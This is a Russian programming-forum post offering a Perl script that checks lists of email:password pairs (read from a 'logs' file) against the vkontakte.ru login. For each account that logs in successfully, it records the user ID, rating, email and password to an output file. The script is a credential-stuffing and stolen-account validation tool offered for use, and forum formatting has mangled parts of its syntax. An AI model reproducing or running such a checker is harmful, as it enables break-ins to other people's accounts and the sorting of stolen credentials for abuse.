Бормотухи.НЕТ

Вернуться   Бормотухи.НЕТ > Компьютеры > Программирование
Расширенный поиск

Программирование Все о программировании ....

Ответ
 
Опции темы Поиск в этой теме
Старый 25.03.2011, 19:55 Вверх   #1
ЗаГаДоЧнЫй
 
Аватар для sumrak
sumrak вне форума
Доп. информация
По умолчанию vkontakte RATE checker

Скрипт написан на перле => для его работы нужен activePerl !!!

PHP код:
#!/usr/bin/perl
# VKONTAKTE cheker
# Original author Xszz.AoH
# Modified by svesve
# tnx to a4at members who help me with perl;-)
use strict;
use 
LWP::UserAgent;

use 
HTTP::Cookies;

open (FILE '<logs.txt');
my @= <FILE>;
chomp @f;
my $ua LWP::UserAgent->new;
my $cookies HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
open (OUT '>>IDS_rate.txt');
while (@
f)
{
my ($mail$pass) = split(/:/, shift(@f));

my $req $ua->post('http://vkontakte.ru/login.php', { email => $mailpass => $pass } )->as_string;
my $suc $req =~ /302 Found/;
if (
$suc )
{
$req $ua->get('http://vkontakte.ru/index.php')->as_string;
my $id $req =~ /(a href="http:\/\/vkontakte.ru\/id)(\d+)("&gt[Реклама]/;
my $idd=$2;
$req $ua->get('http://vkontakte.ru/rate.php')->as_string;
my $res = $if $req=~m/width:100px">(.{1,4})</;
print "
[rate=$res]:[id=$idd]:$mail:$pass\n";
if (!
$idd)
{
print "
Account deleted \n";
}
print OUT 
$res.":".$idd.":".$mail.":".$pass."\n";
}
else{print"
[-]bad login or password \n";}
}
close OUT;
close FILE; 
  Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Как скачивать видео c vkontakte.ru ? Ykow Интернет 53 11.03.2018 20:49
[Вопрос] Авторизация на форуме через VKontakte inetlinks vBulletin 4.x 15 20.09.2013 03:23
[Вопрос] Надстройку Kaspersky Mail Checker не удалось загрузить Hottabych Software (Программное обеспечение) 3 29.07.2011 11:43
Vkontakte Helper Relese NIX Software (Программное обеспечение) 27 20.04.2009 21:10


Текущее время: 01:16. Часовой пояс GMT +3.


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2024, vBulletin Solutions, Inc. Перевод: zCarot
 

Время генерации страницы 0.08783 секунды с 12 запросами